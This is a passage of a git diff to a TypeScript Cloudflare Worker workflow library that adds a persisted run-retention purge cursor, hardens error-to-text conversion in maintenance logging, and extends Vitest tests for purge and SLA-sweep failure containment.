its failure is a defect class - // this codebase has already shipped once. const logs = capturedLogs(); const { env } = makeEnv(); const realDb = env.DB; @@ -1490,11 +1830,15 @@ describe('createFlowsafeWorker maintenance duties', () => { }); // #when - await worker.runMaintenanceDuty('purge', { - ...env, - DB: throwingDb, - THREAD_RETENTION_DAYS: '30', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + DB: throwingDb, + THREAD_RETENTION_DAYS: '30', + }, + retentionContext(), + ); // #then — its own error surface, and every sibling duty still folded into // the one combined line @@ -1535,11 +1879,15 @@ describe('createFlowsafeWorker maintenance duties', () => { const worker = makeWorker(); // #when - await worker.runMaintenanceDuty('purge', { - ...env, - DB: throwingDb, - THREAD_RETENTION_DAYS: '30', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + DB: throwingDb, + THREAD_RETENTION_DAYS: '30', + }, + retentionContext(), + ); // #then — the thread TTL ran anyway const lines = maintenanceLines(logs.lines()); @@ -1557,10 +1905,14 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedIdleThread(env); // #when - await worker.runMaintenanceDuty('purge', { - ...env, - THREAD_RETENTION_DAYS: '', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '', + }, + retentionContext(), + ); // #then — inert, exactly as if unset expect(maintenanceLines(logs.lines())[0]).not.toHaveProperty( @@ -1581,10 +1933,14 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedIdleThread(env); // #when - await worker.runMaintenanceDuty('purge', { - ...env, - THREAD_RETENTION_DAYS: '-5', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '-5', + }, + retentionContext(), + ); // #then — the operator's tripwire fires and NOTHING was deleted expect( @@ -1613,7 +1969,11 @@ describe('createFlowsafeWorker maintenance duties', () => { const { env } = makeEnv(); // #when - const outcome = await worker.runMaintenanceDuty('purge', env); + const outcome = await worker.runMaintenanceDuty( + 'purge', + env, + retentionContext(), + ); // #then — belt containment: the combined line still lands expect( @@ -1689,7 +2049,8 @@ describe('createFlowsafeWorker storage table prefix', () => { resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, - updatedAt TEXT NOT NULL + updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) )`, ).run(); await env.DB.prepare( @@ -1803,13 +2164,17 @@ describe('createFlowsafeWorker storage table prefix', () => { storageTablePrefix, backgroundTasks: {}, }); - await worker.runMaintenanceDuty('purge', { - ...env, - THREAD_RETENTION_DAYS: '30', - NOTIFICATION_RETENTION_DAYS: '30', - THREAD_STATE_RETENTION_DAYS: '30', - SCHEDULE_TRIGGER_RETENTION_DAYS: '30', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '30', + NOTIFICATION_RETENTION_DAYS: '30', + THREAD_STATE_RETENTION_DAYS: '30', + SCHEDULE_TRIGGER_RETENTION_DAYS: '30', + }, + retentionContext(), + ); } async function expectDomains( @@ -1987,7 +2352,7 @@ describe('createFlowsafeWorker schedule tick duty', () => { const { env } = makeEnv(); // #when the purge duty runs while the tick builder is present - await worker.runMaintenanceDuty('purge', env); + await worker.runMaintenanceDuty('purge', env, retentionContext()); // #then the tick was never invoked; the purge ran as before expect(tickFn).not.toHaveBeenCalled(); diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 50554229..91493dca 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -1,14 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// createFlowsafeWorker — the whole production-Worker skeleton the deploy -// template and the showcase host previously carried as near-byte copies: -// the /healthz → routers → 404 fetch pipeline over one actor resolver, the -// alarm-driven maintenance (deadline, sweep, purge, and optional schedule tick -// never share an invocation). Hosts stay thin shells: they supply workflows, -// their identity seam (buildVerifier), and their deployment-specific hooks — -// preRoutes (extra unauthenticated/authenticated mounts), beforeStart/ -// beforeResume (e.g. a budget charge), notify (reviewer-facing transport), and -// extraPurgeDuties (e.g. a host-specific purge). Everything here is structural: -// host-kit never imports @cloudflare/workers-types. import type { ActorContext, @@ -36,6 +26,7 @@ import { createAuditProxyQueue, type InfrastructureAuditEnvelope, } from '../audit-export/index.js'; +import { parseRunRetentionCursor } from '../do-runner/d1-storage.js'; import { credentialsMatch } from '../do-runner/deployment-identity.js'; import type { DurableObjectRunLifecycleHooks } from '../do-runner/durable-object.js'; import { @@ -48,6 +39,7 @@ import type { PurgeExpiredBackgroundTasksResult, RunArtifactPurger, RunDeadlineCursor, + RunRetentionCursor, SnapshotDatabase, StartIdempotencyStore, } from '../do-runner/index.js'; @@ -92,6 +84,7 @@ import { import { approvalStoreFactoryFor, buildHostApprovalService, + hostErrorText, type MaintenanceOutcome, maintenancePrincipal, reconcileApprovalsOnStatusDetached, @@ -672,6 +665,8 @@ export type MaintenanceDuty = 'deadline' | 'sweep' | 'purge' | 'tick'; export interface MaintenanceDutyContext { deadlineCursor?: RunDeadlineCursor; advanceDeadlineCursor?(cursor: RunDeadlineCursor): Promise; + retentionCursor?: RunRetentionCursor; + advanceRetentionCursor?(cursor: RunRetentionCursor): Promise; } /** The Worker handler plus the maintenance duty seam consumed by its DO. */ @@ -1002,7 +997,7 @@ async function executionFenceAdminResponse( console.error( JSON.stringify({ type: 'execution-fence-admin-error', - reason: error instanceof Error ? error.message : String(error), + reason: hostErrorText(error, true), }), ); return json({ error: 'execution fence administration failed' }, 500); @@ -1114,7 +1109,7 @@ async function inventoryAdminResponse( console.error( JSON.stringify({ type: 'inventory-admin-error', - reason: error instanceof Error ? error.message : String(error), + reason: hostErrorText(error, true), }), ); return json({ error: 'deployment inventory failed' }, 500); @@ -1191,10 +1186,11 @@ export function createFlowsafeWorker( async function runPurgeMaintenance( env: Env, trigger: string, + context?: MaintenanceDutyContext, ): Promise { const failures: string[] = []; const recordFailure = (surface: string, error: unknown): void => { - const failure = String(error); + const failure = hostErrorText(error).slice(0, 256); failures.push(`${surface}: ${failure}`); console.error( JSON.stringify({ @@ -1207,12 +1203,37 @@ export function createFlowsafeWorker( }; let purged: number | undefined; try { + const advanceCursor = context?.advanceRetentionCursor; + if (typeof advanceCursor !== 'function') { + throw new Error('retention purge requires advanceRetentionCursor'); + } + const db = env.DB; + const prepare = db.prepare; + const batch = db.batch; + if (typeof prepare !== 'function' || typeof batch !== 'function') { + throw new Error( + 'retention purge requires database.prepare() and batch()', + ); + } + const retentionDb = { + prepare: prepare.bind(db), + batch: batch.bind(db), + }; + const storedCursor = parseRunRetentionCursor(context?.retentionCursor); + const cursor = + storedCursor?.tablePrefix === + (storageTablePrefix?.toLowerCase() ?? '') && + storedCursor.startIdempotencyTable === START_IDEMPOTENCY_TABLE + ? storedCursor + : undefined; const artifactStore = config.artifactStore?.(env); // The resource registry is lazy like Mastra's snapshot table. Retention // may be the first resource-aware operation in a fresh deployment, so // initialize it before asking the atomic purge to reference it. - await createResourceOwnershipSchema(env.DB); - purged = await purgeExpiredWorkflowRuns(env.DB, { + await createResourceOwnershipSchema(retentionDb); + purged = await purgeExpiredWorkflowRuns(retentionDb, { + cursor, + advanceCursor, // allowZero: RUN_RETENTION_DAYS=0 means "purge terminal runs now". ttlMs: numberVar(env.RUN_RETENTION_DAYS, 30, 'RUN_RETENTION_DAYS', { @@ -1222,21 +1243,9 @@ export function createFlowsafeWorker( 60 * 60 * 1000, - // Pairs each expired run's R2 artifacts with its snapshot-row deletion - // (artifacts BEFORE the row — the row is the only record of their keys). - // Undefined on hosts that wire no R2, so the purge stays byte-identical. artifactStore, tablePrefix: storageTablePrefix, - // Snapshot + owner release share one D1 transaction, so retention - // cannot leave unbounded run-ownership tombstones or expose a live row - // without its authorization record. resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, - // Start reservations join the same transaction, for the same reason: - // an idempotency key must never be reaped while the run it names is - // still readable, or the next retry of that key would start a second - // run beside the live one. The horizon defaults to run retention — - // START_IDEMPOTENCY_RETENTION_DAYS is what a host sets when its callers - // retry for longer than it keeps run summaries. startIdempotencyTable: START_IDEMPOTENCY_TABLE, ...(env.START_IDEMPOTENCY_RETENTION_DAYS === undefined ? {} @@ -1257,9 +1266,6 @@ export function createFlowsafeWorker( } catch (error) { recordFailure('retention-purge', error); } - // Own containment (inside runApprovalRetentionPurge), same isolation as - // the snapshot purge above: a failure in any one purge duty must never - // stop the others. const approvalPurge = await runApprovalRetentionPurge({ store: approvalStoreFactoryFor(env.DB, storageTablePrefix).store(), retentionDays: env.APPROVAL_RETENTION_DAYS, @@ -1269,11 +1275,6 @@ export function createFlowsafeWorker( failures.push(`approval-retention-purge: ${approvalPurge.error}`); } const approvalsPurged = approvalPurge.ok ? approvalPurge.value : undefined; - // Agent-memory thread TTL, opt-in. - // Its OWN try/catch, like every sibling duty above and below: isolating one - // loop while a sibling shares its failure is a defect this codebase has - // already shipped once — a wedged thread purge must cost the run-snapshot - // purge, the approval purge, and the extra duties nothing. let threadsPurged: number | undefined; let threadMessagesPurged: number | undefined; // optionalNumberVar, not numberVar: this var GATES the duty rather than @@ -1298,9 +1299,6 @@ export function createFlowsafeWorker( recordFailure('thread-retention-purge', error); } } - // Background-task TTL cleanup (opt-in). Its OWN try/catch, like - // every sibling duty: a wedged background-task purge must cost the - // run-snapshot, approval, and thread purges nothing. let backgroundTasksPurged: PurgeExpiredBackgroundTasksResult | undefined; if (config.backgroundTasks) { try { @@ -1313,8 +1311,6 @@ export function createFlowsafeWorker( recordFailure('background-task-purge', error); } } - // Notification TTL cleanup (opt-in). Its OWN try/catch, like every sibling - // duty. optionalNumberVar (GATES the duty; unset/garbage => do not delete). let notificationsPurged: number | undefined; const notificationRetentionDays = optionalNumberVar( env.NOTIFICATION_RETENTION_DAYS, @@ -1331,7 +1327,6 @@ export function createFlowsafeWorker( recordFailure('notification-purge', error); } } - // Thread-state TTL cleanup (opt-in). Same isolation + opt-in posture. let threadStatePurged: number | undefined; const threadStateRetentionDays = optionalNumberVar( env.THREAD_STATE_RETENTION_DAYS, @@ -1348,9 +1343,6 @@ export function createFlowsafeWorker( recordFailure('thread-state-purge', error); } } - // Schedule-trigger history TTL cleanup (opt-in). Same isolation + opt-in - // posture. Only the fire HISTORY expires; schedule config rows are reaped - // only at deployment teardown. let scheduleTriggersPurged: number | undefined; const scheduleTriggerRetentionDays = optionalNumberVar( env.SCHEDULE_TRIGGER_RETENTION_DAYS, @@ -1425,7 +1417,7 @@ export function createFlowsafeWorker( console.log(JSON.stringify({ type: 'schedule-tick', trigger, result })); return { ok: true, value: undefined }; } catch (error) { - const failure = String(error); + const failure = hostErrorText(error); console.error( JSON.stringify({ type: 'schedule-tick-error', @@ -1480,7 +1472,7 @@ export function createFlowsafeWorker( ); return { ok: true, value: undefined }; } catch (error) { - const failure = String(error); + const failure = hostErrorText(error); console.error( JSON.stringify({ type: 'deadline-sweep-error', @@ -1550,8 +1542,7 @@ export function createFlowsafeWorker( console.error( JSON.stringify({ type: 'stream-publish-error', - reason: - error instanceof Error ? error.message : String(error), + reason: hostErrorText(error, true), }), ), ), @@ -1675,7 +1666,7 @@ export function createFlowsafeWorker( console.error( JSON.stringify({ type: 'deployment-identity-error', - reason: error.message, + reason: hostErrorText(error, true), }), ); return json({ error: 'deployment unavailable' }, 503); @@ -1693,7 +1684,7 @@ export function createFlowsafeWorker( console.error( JSON.stringify({ type: 'worker-fetch-error', - reason: error instanceof Error ? error.message : String(error), + reason: hostErrorText(error, true), }), ); return json({ error: 'internal error' }, 500); @@ -1725,11 +1716,11 @@ export function createFlowsafeWorker( }); } if (duty === 'purge') { - return await runPurgeMaintenance(env, duty); + return await runPurgeMaintenance(env, duty, context); } return await runScheduleTickDuty(env, duty); } catch (error) { - const failure = String(error); + const failure = hostErrorText(error); console.error( JSON.stringify({ type: 'maintenance-error', @@ -1748,6 +1739,8 @@ const MAINTENANCE_HEALTH_KEY = 'flowsafe:maintenance-health:v1'; const MAINTENANCE_NONCES_KEY = 'flowsafe:maintenance-nonces:v1'; const MAINTENANCE_DEADLINE_CURSOR_KEY = 'flowsafe:maintenance-deadline-cursor:v1'; +const MAINTENANCE_RUN_RETENTION_CURSOR_KEY = + 'flowsafe:maintenance-run-retention-cursor:v1'; const DUTY_ORDER = ['deadline', 'sweep', 'purge', 'tick'] as const; export type MaintenanceDurableObjectConstructor = @@ -2029,7 +2022,7 @@ export function createFlowsafeMaintenanceDurableObject< console.error( JSON.stringify({ type: 'maintenance-do-error', - reason: error instanceof Error ? error.message : String(error), + reason: hostErrorText(error, true), }), ); return json({ error: 'internal error' }, 500); @@ -2078,6 +2071,21 @@ export function createFlowsafeMaintenanceDurableObject< await transaction.put(MAINTENANCE_DEADLINE_CURSOR_KEY, cursor); }), }; + } else if (duty === 'purge') { + const retentionCursor = + await this.#state.storage.get( + MAINTENANCE_RUN_RETENTION_CURSOR_KEY, + ); + context = { + ...(retentionCursor === undefined ? {} : { retentionCursor }), + advanceRetentionCursor: (cursor) => + this.#state.storage.transaction(async (transaction) => { + await transaction.put( + MAINTENANCE_RUN_RETENTION_CURSOR_KEY, + cursor, + ); + }), + }; } const outcome = await worker.runMaintenanceDuty(duty, this.#env, context); await this.#recordOutcome(duty, Date.now(), outcome); diff --git a/packages/flowsafe/src/host-kit/host-approval-service.test.ts b/packages/flowsafe/src/host-kit/host-approval-service.test.ts index 61cb96e4..379bbe3d 100644 --- a/packages/flowsafe/src/host-kit/host-approval-service.test.ts +++ b/packages/flowsafe/src/host-kit/host-approval-service.test.ts @@ -12,7 +12,9 @@ import { import type { ExecutionFenceStore } from '../do-runner/execution-fence.js'; import { buildHostApprovalService, + maintenancePrincipal, runApprovalRetentionPurge, + runSlaSweepMaintenance, } from './host-approval-service.js'; const OPERATOR: ApprovalActor = { @@ -26,21 +28,52 @@ describe('runApprovalRetentionPurge', () => { vi.restoreAllMocks(); }); - it('contains the 1e303 env overflow: numberVar accepts it, the ms multiply overflows to Infinity, and the purge TypeError is logged — never thrown (QA audit 2026-07-11)', async () => { - // #given — "1e303" passes numberVar's own validation (finite, positive) - // but 1e303 * 86_400_000 overflows to Infinity before reaching - // purgeExpiredApprovals, whose finiteness guard throws + it.each([ + ['null-prototype rejection', Object.create(null), 'unreadable error'], + [ + 'throwing coercion', + { + [Symbol.toPrimitive]() { + throw new Error('conversion failed'); + }, + }, + 'unreadable error', + ], + ['large diagnostic', 'x'.repeat(300), 'x'.repeat(256)], + ])('contains a %s with a bounded failure outcome', async (_name, failure, expected) => { + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + const store = new InMemoryApprovalStoreFactory().store(); + vi.spyOn(store, 'purgeExpired').mockRejectedValue(failure); + + await expect( + runApprovalRetentionPurge({ + store, + retentionDays: undefined, + trigger: 'purge', + }), + ).resolves.toEqual({ + ok: false, + error: expected, + }); + expect(logged).toHaveBeenCalledOnce(); + expect(JSON.parse(logged.mock.calls[0]?.[0] as string)).toEqual({ + type: 'maintenance-error', + surface: 'approval-retention-purge', + trigger: 'purge', + error: expected, + }); + }); + + it('reports retention-duration overflow as a failed purge', async () => { const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); const store = new InMemoryApprovalStoreFactory().store(); - // #when const outcome = await runApprovalRetentionPurge({ store, retentionDays: '1e303', trigger: 'purge', }); - // #then — contained: resolves undefined, one maintenance-error line expect(outcome).toEqual({ ok: false, error: expect.stringContaining('TypeError'), @@ -58,7 +91,6 @@ describe('runApprovalRetentionPurge', () => { }); it('purges through the real store on a sane retentionDays value', async () => { - // #given — one decided record older than a 0-day retention window const factory = new InMemoryApprovalStoreFactory(); const store = factory.store(); await store.create({ @@ -74,18 +106,153 @@ describe('runApprovalRetentionPurge', () => { updatedAt: new Date(0).toISOString(), }); - // #when — APPROVAL_RETENTION_DAYS=0: purge decided approvals now const outcome = await runApprovalRetentionPurge({ store: factory.store(), retentionDays: '0', trigger: 'purge', }); - // #then expect(outcome).toEqual({ ok: true, value: 1 }); }); }); +describe('runSlaSweepMaintenance', () => { + afterEach(() => vi.restoreAllMocks()); + + async function overdueApprovals() { + const store = new InMemoryApprovalStoreFactory().store(); + const past = new Date(0).toISOString(); + for (const id of ['apr-first', 'apr-second']) { + await store.create({ + id, + workflowId: 'wf', + runId: id, + title: 'overdue approval', + connectors: [], + priority: 'normal', + status: 'pending', + createdAt: past, + updatedAt: past, + slaDeadlineAt: past, + }); + } + return store; + } + + describe.each([ + 'synchronous throw', + 'asynchronous rejection', + ])('%s', (mode) => { + it.each([ + { + name: 'ordinary Error', + failure: () => new Error('hub unavailable'), + diagnostic: 'hub unavailable', + outcome: 'Error: hub unavailable', + }, + { + name: 'throwing message getter', + failure: () => + Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }), + diagnostic: 'unreadable error', + outcome: 'unreadable error', + }, + { + name: 'BigInt message', + failure: () => + Object.defineProperty(new Error(), 'message', { value: 1n }), + diagnostic: '1', + outcome: 'Error: 1', + }, + { + name: 'null-prototype rejection', + failure: () => Object.create(null), + diagnostic: 'unreadable error', + outcome: 'unreadable error', + }, + ])('contains a stream failure with $name after durable escalation', async ({ + failure, + diagnostic, + outcome, + }) => { + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(console, 'log').mockImplementation(() => {}); + const store = await overdueApprovals(); + const stream = vi.fn(() => { + if (mode === 'synchronous throw') throw failure(); + return Promise.reject(failure()); + }); + + await expect( + runSlaSweepMaintenance({ + store, + systemPrincipal: maintenancePrincipal('maintenance'), + trigger: 'sweep', + stream, + }), + ).resolves.toEqual({ + ok: false, + error: `stream-publish: ${outcome}; stream-publish: ${outcome}`, + }); + + expect(stream).toHaveBeenCalledTimes(2); + expect((await store.get('apr-first'))?.status).toBe('escalated'); + expect((await store.get('apr-second'))?.status).toBe('escalated'); + expect( + logged.mock.calls.map(([line]) => JSON.parse(line as string)), + ).toEqual([ + { type: 'stream-publish-error', reason: diagnostic }, + { type: 'stream-publish-error', reason: diagnostic }, + ]); + }); + }); + + it.each([ + 'absent', + 'synchronous', + 'asynchronous', + ])('reports successful maintenance for %s stream handling', async (mode) => { + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(console, 'log').mockImplementation(() => {}); + const store = await overdueApprovals(); + const stream = vi.fn(() => + mode === 'asynchronous' ? Promise.resolve() : undefined, + ); + + await expect( + runSlaSweepMaintenance({ + store, + systemPrincipal: maintenancePrincipal('maintenance'), + trigger: 'sweep', + ...(mode === 'absent' ? {} : { stream }), + }), + ).resolves.toEqual({ ok: true, value: undefined }); + + expect(stream).toHaveBeenCalledTimes(mode === 'absent' ? 0 : 2); + expect((await store.get('apr-first'))?.status).toBe('escalated'); + expect((await store.get('apr-second'))?.status).toBe('escalated'); + expect(logged).not.toHaveBeenCalled(); + }); + + it('contains an unprintable SLA-store failure as a maintenance outcome', async () => { + vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(console, 'log').mockImplementation(() => {}); + const store = new InMemoryApprovalStoreFactory().store(); + vi.spyOn(store, 'list').mockRejectedValue(Object.create(null)); + await expect( + runSlaSweepMaintenance({ + store, + systemPrincipal: maintenancePrincipal('maintenance'), + trigger: 'sweep', + }), + ).resolves.toEqual({ ok: false, error: 'unreadable error' }); + }); +}); + describe('buildHostApprovalService allowSelfDecision passthrough', () => { function buildService(allowSelfDecision?: SelfDecisionPolicy) { const store = new InMemoryApprovalStoreFactory().store(); diff --git a/packages/flowsafe/src/host-kit/host-approval-service.ts b/packages/flowsafe/src/host-kit/host-approval-service.ts index b5ce23e4..6d6192f2 100644 --- a/packages/flowsafe/src/host-kit/host-approval-service.ts +++ b/packages/flowsafe/src/host-kit/host-approval-service.ts @@ -1,14 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// The host-side ApprovalService assembly and alarm-owned SLA sweep that the -// showcase Worker and the deploy template previously carried as byte-copies: -// the structured-log + optional-Queues audit sink, the system principal, and the -// SoD-guarded multi-gate -// re-queue over the host's injected resume topology. The only genuine host -// difference — HOW a run resumes — stays injected as `resumeRun` -// (createDoRunTopology(...).resumeRecord for DO hosts, resumeViaRuntime for -// in-process ones). Also home to the isolate-scoped D1ApprovalStoreFactory -// memo, which every host needs for the same reason (the DDL promise must -// span the isolate, not one request). import type { ApprovalAuditEvent, @@ -38,6 +28,17 @@ import { } from './approval-bridge.js'; import { numberVar } from './env-vars.js'; +/** @internal Preserve diagnostics when a rejection cannot be converted to text. */ +export function hostErrorText(error: unknown, preferMessage = false): string { + try { + return String( + preferMessage && error instanceof Error ? error.message : error, + ); + } catch { + return 'unreadable error'; + } +} + /** * Attribution identity for alarm-owned maintenance — audit only. The sweep is TCB * code over the deployment store and never enters through a verifier. @@ -121,7 +122,7 @@ export function hostAuditSink( console.error( JSON.stringify({ type: 'audit-queue-error', - reason: String(error), + reason: hostErrorText(error), }), ); }); @@ -301,28 +302,23 @@ export async function runSlaSweepMaintenance( deploymentTag: options.deploymentTag, queue: options.queue, keepAlive: (send) => pendingSends.push(send), - onError: (error) => failures.push(`audit-queue: ${String(error)}`), + onError: (error) => + failures.push(`audit-queue: ${hostErrorText(error)}`), }), notify: options.notify, - // Mirror the audit sink's keepAlive idiom: COLLECT each escalation's - // publish promise into pendingSends so the terminal Promise.all keeps it - // within the directly awaited alarm duty. The inner .catch keeps a - // failed fan-out from rejecting the whole Promise.all. stream: (event) => { pendingSends.push( - Promise.resolve(options.stream?.(event)).catch((error: unknown) => { - failures.push(`stream-publish: ${String(error)}`); - // Log a wedged maintenance fan-out (matching the fetch path's - // stream-publish-error) instead of swallowing it silently, while - // still containing it so it can't reject the whole Promise.all. - console.error( - JSON.stringify({ - type: 'stream-publish-error', - reason: - error instanceof Error ? error.message : String(error), - }), - ); - }), + Promise.resolve() + .then(() => options.stream?.(event)) + .catch((error: unknown) => { + failures.push(`stream-publish: ${hostErrorText(error)}`); + console.error( + JSON.stringify({ + type: 'stream-publish-error', + reason: hostErrorText(error, true), + }), + ); + }), ); }, onEscalation: (record) => @@ -341,7 +337,8 @@ export async function runSlaSweepMaintenance( }) ).length; } catch (error) { - failures.push(String(error)); + const failure = hostErrorText(error); + failures.push(failure); console.error( JSON.stringify({ type: 'maintenance-error', @@ -350,7 +347,7 @@ export async function runSlaSweepMaintenance( : {}), surface: 'sla-sweep', trigger: options.trigger, - error: String(error), + error: failure, }), ); } @@ -393,7 +390,7 @@ export function reconcileApprovalsOnStatusDetached( type: 'reconcile-error', workflowId, runId: summary.runId, - error: error instanceof Error ? error.message : String(error), + error: hostErrorText(error, true), }), ), ), @@ -417,20 +414,7 @@ export interface ApprovalRetentionPurgeOptions { trigger: string; } -/** - * The maintenance-owned approval-retention purge, previously hand-copied verbatim - * by the hosts (deploy/worker.ts and the showcase worker): purgeExpiredApprovals - * over the deployment store, the APPROVAL_RETENTION_DAYS var parsing - * (allowZero: a 0-day retention purges decided approvals immediately, the - * same convention RUN_RETENTION_DAYS uses), and containment — a purge - * failure logs a maintenance-error and returns an explicit failed outcome - * instead of throwing, so it never aborts a caller's other duties or gets - * mistaken for a successful purge. Unlike - * runSlaSweepMaintenance, this does NOT log its own "maintenance" summary - * line: both hosts fold the returned count into ONE combined purge log - * alongside their other maintenance duties, so logging it here too would - * double-log. - */ +/** Contains approval-retention failures so sibling maintenance can continue. */ export async function runApprovalRetentionPurge( options: ApprovalRetentionPurgeOptions, ): Promise> { @@ -451,7 +435,7 @@ export async function runApprovalRetentionPurge( }), }; } catch (error) { - const failure = String(error); + const failure = hostErrorText(error).slice(0, 256); console.error( JSON.stringify({ type: 'maintenance-error', diff --git a/packages/flowsafe/src/host-kit/maintenance-do.test.ts b/packages/flowsafe/src/host-kit/maintenance-do.test.ts index 0ab6d351..fd338cfe 100644 --- a/packages/flowsafe/src/host-kit/maintenance-do.test.ts +++ b/packages/flowsafe/src/host-kit/maintenance-do.test.ts @@ -2,7 +2,14 @@ import { afterEach, describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; -import { deploymentIdentityHeaders } from '../do-runner/index.js'; +import { + deploymentIdentityHeaders, + type RunRetentionCursor, +} from '../do-runner/index.js'; +import { + START_IDEMPOTENCY_DDL, + START_IDEMPOTENCY_TABLE, +} from '../do-runner/start-reservation-contract.js'; import { createFlowsafeMaintenanceDurableObject, type FlowsafeWorkerConfig, @@ -22,6 +29,7 @@ import { staticTokenVerifier } from './verifier.js'; const NOW = Date.parse('2026-08-10T12:00:00.000Z'); const DEPLOYMENT_SECRET = 'test-deployment-identity-secret-0001'; const MAINTENANCE_SECRET = 'test-maintenance-capability-secret-0001'; +const RETENTION_CURSOR_KEY = 'flowsafe:maintenance-run-retention-cursor:v1'; const CAPABILITY_PRIVATE_KEY = { kty: 'OKP', crv: 'Ed25519', @@ -72,6 +80,8 @@ class FakeStorage { readonly values = new Map(); alarmAt: number | null = null; failTransactionNumber?: number; + failPutKey?: string; + losePutResponseKey?: string; transactionCount = 0; async get(key: string): Promise { @@ -116,11 +126,20 @@ class FakeStorage { nextAlarm = Number(value); }, }); - if (this.failTransactionNumber === transactionNumber) { + if ( + this.failTransactionNumber === transactionNumber || + (this.failPutKey !== undefined && writes.has(this.failPutKey)) + ) { throw new Error('simulated crash after duty'); } for (const [key, value] of writes) this.values.set(key, value); this.alarmAt = nextAlarm; + if ( + this.losePutResponseKey !== undefined && + writes.has(this.losePutResponseKey) + ) { + throw new Error('simulated storage response loss'); + } return result; } } @@ -132,6 +151,7 @@ function harness( withTick?: boolean; throwTick?: boolean; deadlineLimit?: number; + config?: Partial>; } = {}, ) { const env = environment(); @@ -171,6 +191,7 @@ function harness( }, } : {}), + ...options.config, } satisfies FlowsafeWorkerConfig; const Maintenance = createFlowsafeMaintenanceDurableObject(config); const state = { @@ -183,7 +204,111 @@ function harness( method, headers: deploymentIdentityHeaders(DEPLOYMENT_SECRET), }); - return { env, instance, storage, internalRequest }; + const reconstruct = ( + overrides: Partial> = {}, + ) => { + const Reconstructed = createFlowsafeMaintenanceDurableObject({ + ...config, + ...overrides, + }); + return new Reconstructed(state, env); + }; + return { env, instance, storage, internalRequest, reconstruct }; +} + +async function createRetentionSnapshots( + env: TestEnv, + prefix = '', +): Promise { + await env.DB.prepare( + `CREATE TABLE ${prefix}mastra_workflow_snapshot ( + workflow_name TEXT NOT NULL, + run_id TEXT NOT NULL, + resourceId TEXT, + snapshot TEXT NOT NULL, + createdAt TEXT NOT NULL, + updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) + )`, + ).run(); +} + +async function insertRetentionSnapshot( + env: TestEnv, + runId: string, + prefix = '', +): Promise { + const old = new Date(NOW - 90 * 86_400_000).toISOString(); + await env.DB.prepare( + `INSERT INTO ${prefix}mastra_workflow_snapshot + (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt) + VALUES ('wf', ?, NULL, ?, ?, ?)`, + ) + .bind( + runId, + JSON.stringify({ + status: 'success', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: `start-${runId}`, + }, + }, + }), + old, + old, + ) + .run(); +} + +async function insertRetentionReservation( + env: TestEnv, + key: string, + state = 'terminal', +): Promise { + await env.DB.prepare( + `INSERT INTO ${START_IDEMPOTENCY_TABLE} + (key, owner_kind, owner_id, target_kind, target_id, run_id, + thread_id, state, created_at, updated_at, + start_token, start_table_prefix, start_workflow_id) + VALUES (?, 'human', 'ada', 'workflow', 'wf', ?, NULL, ?, ?, ?, NULL, NULL, NULL)`, + ) + .bind( + key, + `run-${key}`, + state, + NOW - 90 * 86_400_000, + NOW - 90 * 86_400_000, + ) + .run(); +} + +async function snapshotIds(env: TestEnv, prefix = ''): Promise { + const { results } = await env.DB.prepare( + `SELECT run_id FROM ${prefix}mastra_workflow_snapshot ORDER BY rowid`, + ).all<{ run_id: string }>(); + return results.map((row) => row.run_id); +} + +async function reservationKeys(env: TestEnv): Promise { + const { results } = await env.DB.prepare( + `SELECT key FROM ${START_IDEMPOTENCY_TABLE} ORDER BY rowid`, + ).all<{ key: string }>(); + return results.map((row) => row.key); +} + +async function nextPurge( + instance: ReturnType['instance'], + internalRequest: ReturnType['internalRequest'], +): Promise { + const before = await healthOf(instance, internalRequest('/status', 'GET')); + vi.setSystemTime(before.nextPurgeAt); + await instance.alarm(); + await instance.alarm(); + await instance.alarm(); + const after = await healthOf(instance, internalRequest('/status', 'GET')); + expect(after.lastPurgeAttemptAt).toBe(before.nextPurgeAt); + return after; } async function healthOf( @@ -203,6 +328,342 @@ afterEach(() => { }); describe('alarm-driven deployment maintenance', () => { + it('reconstructs independent retention positions and finishes a finite cycle past artifact failures', async () => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const artifactCalls: string[] = []; + const { env, instance, storage, internalRequest, reconstruct } = harness({ + config: { + artifactStore: () => ({ + deleteRun: async (_workflowId, runId) => { + artifactCalls.push(runId); + if (runId.startsWith('poison-')) + throw new Error('artifact unavailable'); + return 0; + }, + }), + }, + }); + await createRetentionSnapshots(env); + await env.DB.prepare(START_IDEMPOTENCY_DDL).run(); + const poisonIds = Array.from( + { length: 91 }, + (_, index) => `poison-${index}`, + ); + for (const runId of poisonIds) { + await insertRetentionSnapshot(env, runId); + } + const heldKeys = poisonIds.slice(0, 90); + for (const runId of heldKeys) { + await insertRetentionReservation(env, runId, 'started'); + } + await insertRetentionSnapshot(env, 'eligible'); + await insertRetentionReservation(env, 'eligible-orphan'); + await 